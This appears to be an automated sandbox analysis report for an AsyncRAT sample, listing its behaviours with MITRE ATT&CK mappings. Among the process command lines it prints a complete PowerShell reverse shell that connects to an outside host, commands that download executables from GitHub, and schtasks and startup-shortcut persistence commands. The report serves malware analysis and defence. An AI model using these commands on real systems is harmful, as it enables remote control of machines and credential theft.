asyncrat | b79c63a1f5777b977a48085de65f8041d1d6b2d5d569224b0f81b343578f1803

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	output.exe

Blocklisted process makes network request 7 IoCs

flow	pid	Process
9	3732	powershell.exe
26	3732	powershell.exe
28	3732	powershell.exe
31	3020	powershell.exe
32	3020	powershell.exe
35	3324	powershell.exe
36	3324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3020	powershell.exe
3324	powershell.exe
3732	powershell.exe
4184	powershell.exe
4796	powershell.exe

Downloads MZ/PE file

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMWare, Inc.\VMWare Tools	output.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	output.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	Loader.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5068	output.exe
1732	Loader.exe
1004	WINDOWS.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
33	ip4.seeip.org
55	ip-api.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	output.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	output.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 1 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_VMware_&Prod_VMware_Virtual_S	output.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	output.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4368	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosInformation	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemManufacturer	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemProductName	output.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Logical Unit Id 0	output.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3732	powershell.exe
3732	powershell.exe
3020	powershell.exe
3020	powershell.exe
4184	powershell.exe
4184	powershell.exe
3324	powershell.exe
3324	powershell.exe
4796	powershell.exe
4796	powershell.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1732	Loader.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe
1004	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	3020	powershell.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeDebugPrivilege	3324	powershell.exe
Token: SeDebugPrivilege	5068	output.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	1732	Loader.exe
Token: SeDebugPrivilege	1732	Loader.exe
Token: SeDebugPrivilege	1004	WINDOWS.exe
Token: SeDebugPrivilege	1004	WINDOWS.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 3732	4592	cmd.exe	83
PID 4592 wrote to memory of 3732	4592	cmd.exe	83
PID 3732 wrote to memory of 1036	3732	powershell.exe	91
PID 3732 wrote to memory of 1036	3732	powershell.exe	91
PID 1036 wrote to memory of 3020	1036	cmd.exe	93
PID 1036 wrote to memory of 3020	1036	cmd.exe	93
PID 1036 wrote to memory of 4184	1036	cmd.exe	94
PID 1036 wrote to memory of 4184	1036	cmd.exe	94
PID 1036 wrote to memory of 5068	1036	cmd.exe	96
PID 1036 wrote to memory of 5068	1036	cmd.exe	96
PID 1036 wrote to memory of 3324	1036	cmd.exe	97
PID 1036 wrote to memory of 3324	1036	cmd.exe	97
PID 1036 wrote to memory of 4796	1036	cmd.exe	99
PID 1036 wrote to memory of 4796	1036	cmd.exe	99
PID 1036 wrote to memory of 1732	1036	cmd.exe	100
PID 1036 wrote to memory of 1732	1036	cmd.exe	100
PID 1732 wrote to memory of 1060	1732	Loader.exe	102
PID 1732 wrote to memory of 1060	1732	Loader.exe	102
PID 1732 wrote to memory of 4520	1732	Loader.exe	104
PID 1732 wrote to memory of 4520	1732	Loader.exe	104
PID 4520 wrote to memory of 4368	4520	cmd.exe	106
PID 4520 wrote to memory of 4368	4520	cmd.exe	106
PID 1060 wrote to memory of 1504	1060	cmd.exe	107
PID 1060 wrote to memory of 1504	1060	cmd.exe	107
PID 4520 wrote to memory of 1004	4520	cmd.exe	109
PID 4520 wrote to memory of 1004	4520	cmd.exe	109

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\create.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$LHOST = 'radio-ebay.gl.at.ply.gg'; $LPORT = 10404; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) } catch { $_ }; $StreamWriter.Write('$Output`n'); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Loader.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/DD/releases/download/D/output.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3020
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4184
  - - C:\Users\Admin\Desktop\output.exe
      C:\Users\Admin\Desktop\output.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Executes dropped EXE
      Maps connected drives based on registry
      Checks SCSI registry key(s)
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious use of AdjustPrivilegeToken
      PID:5068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4796
  - - C:\Users\Admin\Desktop\Loader.exe
      C:\Users\Admin\Desktop\Loader.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1732
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1504
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp267E.tmp.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4520
      - C:\Windows\system32\timeout.exe
        
        timeout 3
        6⤵
        Delays execution with timeout.exe
        
        PID:4368
      - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion